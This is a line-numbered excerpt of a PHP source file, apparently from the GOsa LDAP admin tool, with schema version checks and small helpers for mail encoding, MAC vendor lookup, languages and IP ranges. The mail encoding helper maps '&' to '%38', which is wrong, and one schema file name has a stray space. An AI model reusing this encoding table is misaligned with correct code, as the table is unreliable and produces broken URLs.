2369 "goFaxAccount" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2370 "goFaxSBlock" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2371 "goFaxRBlock" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2372 "gosaUserTemplate" => array("version" => "2.4", "class" => "posixAccount","file" => "nis.schema"),
2373 "gosaMailAccount" => array("version" => "2.4", "class" => "mailAccount","file" => "gosa+samba3.schema"),
2374 "gosaProxyAccount" => array("version" => "2.4", "class" => "proxyAccount","file" => "gosa+samba3.schema"),
2375 "gosaApplication" => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2376 "gosaApplicationGroup" => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2377 "GOhard" => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2378 "gotoTerminal" => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2379 "goServer" => array("version" => "2.4","class" => "server","file" => "goserver.schema"),
2380 "goTerminalServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2381 "goShareServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2382 "goNtpServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2383 "goSyslogServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2384 "goLdapServer" => array("version" => "2.4"),
2385 "goCupsServer" => array("version" => "2.4", "class" => array("posixAccount", "terminals"),),
2386 "goImapServer" => array("version" => "2.4", "class" => array("mailAccount", "mailgroup"),"file" => "gosa+samba3. schema"),
2387 "goKrbServer" => array("version" => "2.4"),
2388 "goFaxServer" => array("version" => "2.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2389 ) as $name => $values){
2391 $checks[$name] = $def_check;
2392 if(isset($values['version'])){
2393 $checks[$name]["REQUIRED_VERSION"] = $values['version'];
2394 }
2395 if(isset($values['file'])){
2396 $checks[$name]["SCHEMA_FILES"] = array($values['file']);
2397 }
2398 $checks[$name]["CLASSES_REQUIRED"] = array($name);
2399 }
2400 foreach($checks as $name => $value){
2401 foreach($value['CLASSES_REQUIRED'] as $class){
2403 if(!isset($objectclasses[$name])){
2404 $checks[$name]['STATUS'] = FALSE;
2405 if($value['IS_MUST_HAVE']){
2406 $checks[$name]['MSG'] = sprintf(_("The required objectClass '%s' is not present in your schema setup"),$class);
2407 }else{
2408 $checks[$name]['MSG'] = sprintf(_("The optional objectClass '%s' is not present in your schema setup"),$class);
2409 }
2410 }elseif(!check_schema_version($objectclasses[$name],$value['REQUIRED_VERSION'])){
2411 $checks[$name]['STATUS'] = FALSE;
2413 if($value['IS_MUST_HAVE']){
2414 $checks[$name]['MSG'] = sprintf(_("The required objectclass '%s' does not have version %s"), $class, $value['REQUIRED_VERSION']);
2415 }else{
2416 $checks[$name]['MSG'] = sprintf(_("The optional objectclass '%s' does not have version %s"), $class, $value['REQUIRED_VERSION']);
2417 }
2418 }else{
2419 $checks[$name]['STATUS'] = TRUE;
2420 $checks[$name]['MSG'] = sprintf(_("Class(es) available"));
2421 }
2422 }
2423 }
2425 $tmp = $objectclasses;
2428 /* The gosa base schema */
2429 $checks['posixGroup'] = $def_check;
2430 $checks['posixGroup']['REQUIRED_VERSION'] = "2.4";
2431 $checks['posixGroup']['SCHEMA_FILES'] = array("gosa+samba3.schema","gosa.schema");
2432 $checks['posixGroup']['CLASSES_REQUIRED'] = array("posixGroup");
2433 $checks['posixGroup']['STATUS'] = TRUE;
2434 $checks['posixGroup']['IS_MUST_HAVE'] = TRUE;
2435 $checks['posixGroup']['MSG'] = "";
2436 $checks['posixGroup']['INFO'] = "";
2438 /* Depending on selected rfc2307bis mode, we need different schema configurations */
2439 if(isset($tmp['posixGroup'])){
2441 if($rfc2307bis && isset($tmp['posixGroup']['STRUCTURAL'])){
2442 $checks['posixGroup']['STATUS'] = FALSE;
2443 $checks['posixGroup']['MSG'] = _("You have enabled the rfc2307bis option on the 'ldap setup' step, but your schema configuration do not support this option.");
2444 $checks['posixGroup']['INFO'] = _("In order to use rfc2307bis conform groups the objectClass 'posixGroup' must be AUXILIARY");
2445 }
2446 if(!$rfc2307bis && !isset($tmp['posixGroup']['STRUCTURAL'])){
2447 $checks['posixGroup']['STATUS'] = FALSE;
2448 $checks['posixGroup']['MSG'] = _("You have disabled the rfc2307bis option on the 'ldap setup' step, but your schema configuration do not support this option.");
2449 $checks['posixGroup']['INFO'] = _("The objectClass 'posixGroup' must be STRUCTURAL");
2450 }
2451 }
2453 return($checks);
2454 }
2457 function prepare4mailbody($string)
2458 {
2459 $string = html_entity_decode($string);
2461 $from = array(
2462 "/%/",
2463 "/ /",
2464 "/\n/",
2465 "/\r/",
2466 "/!/",
2467 "/#/",
2468 "/\*/",
2469 "/\//",
2470 "/</",
2471 "/>/",
2472 "/\?/",
2473 "/\&/",
2474 "/\(/",
2475 "/\)/",
2476 "/\"/");
2478 $to = array(
2479 "%25",
2480 "%20",
2481 "%0A",
2482 "%0D",
2483 "%21",
2484 "%23",
2485 "%2A",
2486 "%2F",
2487 "%3C",
2488 "%3E",
2489 "%3F",
2490 "%38",
2491 "%28",
2492 "%29",
2493 "%22");
2495 $string = preg_replace($from,$to,$string);
2497 return($string);
2498 }
2501 function mac2company($mac)
2502 {
2503 $vendor= "";
2505 /* Generate a normailzed mac... */
2506 $mac= substr(preg_replace('/[:-]/', '', $mac), 0, 6);
2508 /* Check for existance of the oui file */
2509 if (!is_readable(CONFIG_DIR."/oui.txt")){
2510 return ("");
2511 }
2513 /* Open file and look for mac addresses... */
2514 $handle = @fopen(CONFIG_DIR."/oui.txt", "r");
2515 if ($handle) {
2516 while (!feof($handle)) {
2517 $line = fgets($handle, 4096);
2519 if (preg_match("/^$mac/i", $line)){
2520 $vendor= substr($line, 32);
2521 }
2522 }
2523 fclose($handle);
2524 }
2526 return ($vendor);
2527 }
2530 function get_languages($languages_in_own_language = FALSE,$strip_region_tag = FALSE)
2531 {
2532 $tmp = array(
2533 "de_DE" => "German",
2534 "fr_FR" => "French",
2535 "it_IT" => "Italian",
2536 "es_ES" => "Spanish",
2537 "en_US" => "English",
2538 "nl_NL" => "Dutch",
2539 "pl_PL" => "Polish",
2540 "sv_SE" => "Swedish",
2541 "zh_CN" => "Chinese",
2542 "ru_RU" => "Russian");
2544 $ret = array();
2545 if($languages_in_own_language){
2546 $old_lang = setlocale(LC_ALL, 0);
2547 foreach($tmp as $key => $name){
2548 $lang = $key.".UTF-8";
2549 setlocale(LC_ALL, $lang);
2550 if($strip_region_tag){
2551 $ret[preg_replace("/^([^_]*).*$/","\\1",$key)] = _($name)." (".$name.")";
2552 }else{
2553 $ret[$key] = _($name)." (".$name.")";
2554 }
2555 }
2556 setlocale(LC_ALL, $old_lang);
2557 }else{
2558 foreach($tmp as $key => $name){
2559 if($strip_region_tag){
2560 $ret[preg_replace("/^([^_]*).*/","\\1",$key)] = _($name);
2561 }else{
2562 $ret[$key] = _($name);
2563 }
2564 }
2565 }
2566 return($ret);
2567 }
2570 /* Check if $ip1 and $ip2 represents a valid IP range
2571 * returns TRUE in case of a valid range, FALSE in case of an error.
2572 */
2573 function is_ip_range($ip1,$ip2)
2574 {
2575 if(!is_ip($ip1) || !is_ip($ip2)){
2576 return(FALSE);
2577 }else{
2578 $ar1 = split("\.",$ip1);
2579 $var1 = $ar1[0] * (16777216) + $ar1[1] * (65536) + $ar1[2] * (256) + $ar1[3];
2581 $ar2 = split("\.",$ip2);
2582 $var2 = $ar2[0] * (16777216) + $ar2[1] * (65536) + $ar2[2] * (256) + $ar2[3];
2583 return($var1 < $var2);
2584 }
2585 }
2587 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
2588 ?>